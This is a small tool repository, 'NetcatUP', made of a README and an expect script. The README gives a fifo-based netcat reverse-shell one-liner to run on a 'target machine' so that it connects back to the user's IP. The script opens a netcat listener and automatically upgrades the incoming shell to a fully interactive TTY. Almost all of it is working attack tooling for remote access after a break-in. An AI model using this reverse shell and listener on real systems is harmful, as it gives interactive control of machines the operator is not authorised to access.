├── README.md
└── netcatup.sh


/README.md:
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 1 | # NetcatUP
 2 | 
 3 | 
 4 | run `./netcatup.sh port`  
 5 | run `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc targetip port >/tmp/f` on the target machine  
 6 | You should now have a fully interactive shell with bash history and tab completion  
 7 | 
 8 | ### credits: 
 9 | * https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
10 | 
11 | ### todo:  
12 | * add bind support
13 | 


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/netcatup.sh:
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 1 | #!/usr/bin/expect
 2 | 
 3 | lassign $argv arg1 arg2 arg3
 4 | 
 5 | log_user 0
 6 | set timeout -1
 7 | 
 8 | spawn /bin/bash
 9 | send "nc -lvp $arg1\n"
10 | expect "Connection from"
11 | send "python -c \'import pty; pty.spawn(\"/bin/bash\")\'\n"
12 | sleep 0.5
13 | send \x1A
14 | send "stty raw -echo\n"
15 | send "fg\n"
16 | send "reset\n"
17 | send "export SHELL=bash\n"
18 | send "export TERM=xterm-256color\n"
19 | send "stty rows `tput lines` columns `tput cols`\n"
20 | send "clear\n"
21 | interact
22 | send "stty -raw echo\n"
23 | send "exit\n"
24 | exit
25 | 
26 | 


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